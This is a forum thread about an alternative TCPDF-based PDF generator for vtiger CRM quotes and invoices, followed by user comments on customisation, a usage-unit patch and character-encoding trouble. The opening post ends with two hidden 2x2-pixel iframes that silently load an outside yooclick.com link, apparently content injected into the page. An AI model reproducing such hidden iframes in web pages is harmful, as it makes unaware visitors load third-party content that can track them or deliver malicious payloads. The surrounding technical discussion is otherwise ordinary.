different PDF generator

The PDF generator which comes with the vtiger release did not fit to our requirements.
At <!-- m --><a class="postlink" href="http://forge.vtiger.com/frs/?group_id=165">http://forge.vtiger.com/frs/?group_id=165</a><!-- m --> you may find a different PDF generator for quotes, orders and invoices.

What is different:

- full utf8 support due to the use of the new tcpdf class
- multi language output based on language files
- different layout without frame lines
- different header to fit into European window envelopes
- flexible to include as much text as needed
- includes product description as well as product comments
- includes text form description fields of quotes. orders ...
- excludes the header on multiple pages

Please read the readme.txt file for installtion instructions. Attached is a quote example.
You may give it a try and let me know how it works for you. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«13456716

Comments

  • 154 Comments sorted by Votes Date Added
  • thank balduin
    can you add one field with account tax id and insert it
    under 12345 sample city.
    in footer add one line for capital of company and other.
  • franza, feel free to modify the code to your special needs. to include the account tax id below the city you need to modify the header.php. for footer changes you may modify the footer.php.
  • i forgot one thing to mention. to get the usage unit output to work you need to modify the editviewutils.php and include the usageunit as it is stated in the patch attached.

    in addition, if you use another language than english, add the following line in each createpdf.php below the statement:

    //added by crm-now
    $usageunit[$i] = $associated_products[$i];

    add this line:
    //if the translated string is available then the translated string other wise original string will be returned
    $usageunit[$i] = gettranslatedstring($usageunit[$i], 'products');
  • this has been tested with v5.0.4 only, but i think with a few modifications it will work with the old 5.0.3 too.
  • i´m having problems with accented characters like ó.
    and i´ve lost item number in quotes.
    everithing else seems to be working
  • slipperyman

    are you using this on 5.03? any other issues that you found yet?

    thanks
  • nop, just migrated to 5.04 to use it.
  • hi balduin,
    thank you for this contributions.

    but i have problem <!-- s:( --><img src="{smilies_path}/icon_sad.gif" alt=":(" title="sad" /><!-- s:( --> can you help me please

    1-) when i try to your pack on 5.04, get a this error message " tcpdf error: missing or incorrect image file: /tmp/jpgubttxq"

    2-) having problems with accented characters like óĞüçöŞİöçşiğü.
    (i try build new font for tcpdf but i didnt find any solution)
  • 1-) when i try to your pack on 5.04, get a this error message " tcpdf error: missing or incorrect image file: /tmp/jpgubttxq"
    i am not aware of any file used in the /tmp/ directory. you may check you tcfdp config file. or perhaps it has somthing to do with your logo, taken from the settings->company information. check whether you have uploaded a logo and whether this has the right size (readme.txt)
    2-) having problems with accented characters like óĞüçöŞİöçşiğü.
    (i try build new font for tcpdf but i didnt find any solution)
    sorry but i can't help you with that. i had never checked this.
Sign In or Register to comment.